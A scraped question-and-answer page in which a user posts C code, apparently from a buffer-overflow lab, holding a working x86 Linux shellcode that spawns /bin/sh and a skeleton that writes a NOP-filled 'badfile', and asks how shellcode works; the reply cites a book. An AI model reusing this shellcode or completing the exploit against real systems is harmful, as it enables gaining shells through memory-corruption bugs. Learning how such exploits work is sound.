Search code examples
exploitshellcode

What is this kind of shell code in c or c++?


i have this code

 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
 char shellcode[]=
       "\x31\xc0"             /* xorl    %eax,%eax              */
       "\x50"                 /* pushl   %eax                   */
       "\x68""//sh"           /* pushl   $0x68732f2f            */
       "\x68""/bin"           /* pushl   $0x6e69622f            */
       "\x89\xe3"             /* movl    %esp,%ebx              */
       "\x50"                 /* pushl   %eax                   */
       "\x53"                 /* pushl   %ebx                   */
       "\x89\xe1"             /* movl    %esp,%ecx              */
       "\x99"                 /* cdql                           */
       "\xb0\x0b"             /* movb    $0x0b,%al              */
       "\xcd\x80"             /* int     $0x80                  */
     ;

    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;

        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);

        /* You need to fill the buffer with appropriate contents here */ 

        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }

i want to know and learn more about this kind of codes that calls expliot,what is that shell code?how can i learn to code that shells,i want to know exactly what does this code do.


Solution

  • Page 315 of Hacking: The Art of Exploitation does a good job explaining what that code does.